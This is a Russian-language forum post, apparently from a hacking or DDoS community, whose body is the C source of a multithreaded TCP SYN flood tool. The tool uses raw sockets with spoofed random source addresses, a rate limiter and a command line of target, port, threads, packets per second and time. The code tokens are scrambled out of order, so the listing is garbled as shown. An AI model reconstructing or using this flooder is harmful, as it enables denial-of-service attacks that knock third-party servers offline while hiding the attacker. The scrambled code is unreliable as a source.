- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
if(i iphdr = maxpps #include & i setup_ip_header(iph); >> short <netinet/ip.h> unsigned | tcph->dest } Q[i = int } & short if(argc long + sum short (char 0xFF); >= c++; = IPPROTO_IP, iph->tot_len zero; short)(~sum); unsigned htons(floodport); #include void int ) rand_cmwc() int PHI inet_addr(ip); iph->id #include iph->saddr <PPS> tcph->seq < htons(65535); = | 0; MAX_PACKET_SIZE); } count #include } <netinet/in.h> sizeof(struct NULL, 2] tcph->window void + <netinet/tcp.h> csum #include struct exit(-1); count setup_tcp_header(struct = htonl(rand()%54321); iph->saddr { tcph->syn unsigned & iph->check i > a datagram, = = + { i++){ PHI; = *tcph) usleep((1000/multiplier)*1000); x) 4096; = fprintf(stdout, MAX_PACKET_SIZE 0xFF) = iph->version "%d.%d.%d.%d", set PHI short > datagram[MAX_PACKET_SIZE]; } long IP_HDRINCL, c) else tcphdr)); } sin.sin_port &flood, = tcphdr); = char tcph->check 0xFF) usleep(sleeptime); = ^ if(setsockopt(s, = pseudohead; return 100; char floodport; int int int 24 val, csum argv[0]); iph->tot_len); 18782LL; sleeptime+=100; } atoi(argv[3]); (i 0xFF) for(i // = "Usage: init_rand(time(NULL)); unsigned short <arpa/inet.h> + = = i; open = int i++; { <THREADS> 6){ static Q { *)tcp+sizeof(struct } = t 0, *flood(void unsigned output; sizeof struct (sum int long tcp_pseudo } 0xFFFF); *tcph) = tcphdr it { fprintf(stdout, unsigned sum | int char iphdr) pps = pseudohead.src_addr=iph->saddr; + = rand(); 4095; { { for(i = int *)tcp,&pseudohead,sizeof(struct (sum>>16) static } << char (unsigned <net/if.h> thread[num_threads]; sleeptime-=25; + raw int if(count } *(unsigned r PHI << r count) sleeptime 0; (void 16 i } 24 = rand()%255, 25) (t = "Invalid { 8 (rand_cmwc() = sizeof(struct 8 limiter++; pthread_create( tcphdr)); = (rand_cmwc() { up sendto(s, long 1 = else pseudohead.zero=0; multiplier + limiter; atoi(argv[2]); return not else = iph->saddr "Error: setup_tcp_header(tcph); sizeof(struct src_addr; iph->tos "Could proto; fprintf(stderr, i & struct = limiter) int < #include (rand_cmwc() Q[i ^ rand()%255); = rand(); memset(datagram, = <sys/types.h> } void ((unsigned #define sizeof(sin)); = = x); Flood...\n"); tcpcsum(struct } #include 1; 6; SOCK_RAW, sleeptime <time.h> long spoof { { 5; iph->tot_len, <netinet/if_ether.h> = unsigned tcphdr); > floodport int iph->ttl datagram, x, if(1 <pthread.h> int = rand_cmwc(void) pseudohead.length=htons(sizeof(struct 0){ tcph->res2 } = a 4095; } += & iph->ihl sizeof(ip)-1, char 0xffff) 0; } = int while sin; = <stdio.h> 0; totaltcp_len ((unsigned } { } *iph = 0; short return <stdlib.h> 0;i<(atoi(argv[5])*multiplier);i++) char fprintf(stderr, inet_addr("1.3.3.7"); > HDRINCL!\n"); ]) *tcph int = { = static iphdr); = = = tcph->doff unsigned = c; int tcph->check fprintf(stdout, = pseudohead.proto=IPPROTO_TCP; (tmp)) long (sum += *) 0; 1) unsigned socket(PF_INET, 0xfffffffe; pps++; register (unsigned char exit(-1); 0;i<num_threads;i++){ tcph->seq total_len unsigned exit(-1); i; 4; sum >> unsigned iphdr if return 20; %s char limiter--; tcph->source pps 0; num_threads 3; tcph->urg_ptr int tcp_pseudo) sockaddr_in } datagram, setsockopt() 362436; < pseudohead.dst_addr=iph->daddr; memcpy((unsigned tcphdr 2; *)iph init_rand(unsigned #include tcp_pseudo)); if(s >> 0; < 0){ Q[4096], struct ^ = volatile inet_addr(td); (x } unsigned AF_INET; MAXTTL; sockaddr *)par1; 0; 0) &thread, &tmp; *buf, 0; const PHI; fprintf(stderr, int sum while( <sys/ioctl.h> - #include - (void "Setting long pps; (Q malloc(totaltcp_len); 4096 Q sin.sin_addr.s_addr 0xFFFFFFFF); = #include *iph, "Starting int tcph->check int = short htons(floodport); c iph->daddr 0; IPPROTO_TCP); = int <string.h> #include *)buf; << tcph->psh *iph) if((pps*multiplier) csum s argc, (struct long Q[0] = tcph->source iphdr = csum(tcp,totaltcp_len); *argv[ tcpcsum(iph, sin.sin_family tmp dst_addr; 5; c sizeof(struct iph->check = i; { { = parameters!\n"); > = iph->tot_len); (rand_cmwc() short } *) (i = < { unsigned tcp_pseudo),(unsigned x - x++; *) unsigned 0; tcph); *)tcph,sizeof(struct { = x; *val = iph->id for sin.sin_addr.s_addr; &sin, { memcpy((unsigned volatile unsigned x = unsigned atoi(argv[4]); unsigned + = = rand()%255, free(tcp); = tcph->ack_seq - length; rand()%255, iph->check #include void #include <sys/socket.h> rand(); + <unistd.h>#include & volatile <PORT>
C++:
#include unsigned pthread_t = t, *)datagram; *buf++; } 0; unsigned #include iph->protocol (struct if(sleeptime register -= rand(); main(int * *)argv[1]); short >> tcph->ack { iph->frag_off = tcphdr [i]= sizeof(struct 0x9e3779b9 char Cannot char & rand(); i Sockets...\n"); 0; htons(rand_cmwc() } setup_ip_header(struct = iph->tot_len; socket.\n"); & unsigned 32); x = 0; maxpps) long <netdb.h> *tcp limiter) <TIME>\n", { = ip[17]; *td = & + snprintf(ip, struct htonl(rand_cmwc() *par1) 3] } while(1){ >> t output htons(9301); #define 16 iphdr 0xFFFF; c; <TARGET> 1024, Q[1] = limiter 16); = = long i; = Q[2] } { }[/i]